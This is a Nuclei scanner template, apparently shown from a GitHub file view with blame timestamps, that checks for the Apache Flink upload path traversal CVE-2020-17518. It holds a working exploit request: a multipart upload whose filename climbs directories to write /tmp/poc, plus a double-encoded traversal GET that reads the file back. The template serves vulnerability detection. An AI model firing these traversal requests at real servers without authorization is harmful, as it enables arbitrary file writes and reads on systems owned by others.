nuclei-templates/cves/2020/CVE-2020-17518.yaml

34 lines
1016 B
YAML
Raw Normal View History

2021-01-06 17:38:45 +00:00
id: CVE-2020-17518
info:
name: Apache Flink Upload Path Traversal
author: pd-team
severity: critical
reference: https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
tags: cve,cve2020,apache,traversal
2021-01-06 17:38:45 +00:00
requests:
- raw:
- |
POST /jars/upload HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
2021-01-07 18:49:39 +00:00
2021-01-06 17:38:45 +00:00
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
2021-01-07 18:49:39 +00:00
2021-01-06 17:38:45 +00:00
test-poc
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
- method: GET
path:
- '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc'
matchers:
- type: dsl
dsl:
- 'contains(body, "test-poc") == true && status_code == 200' # Using CVE-2020-17519 to confirm this.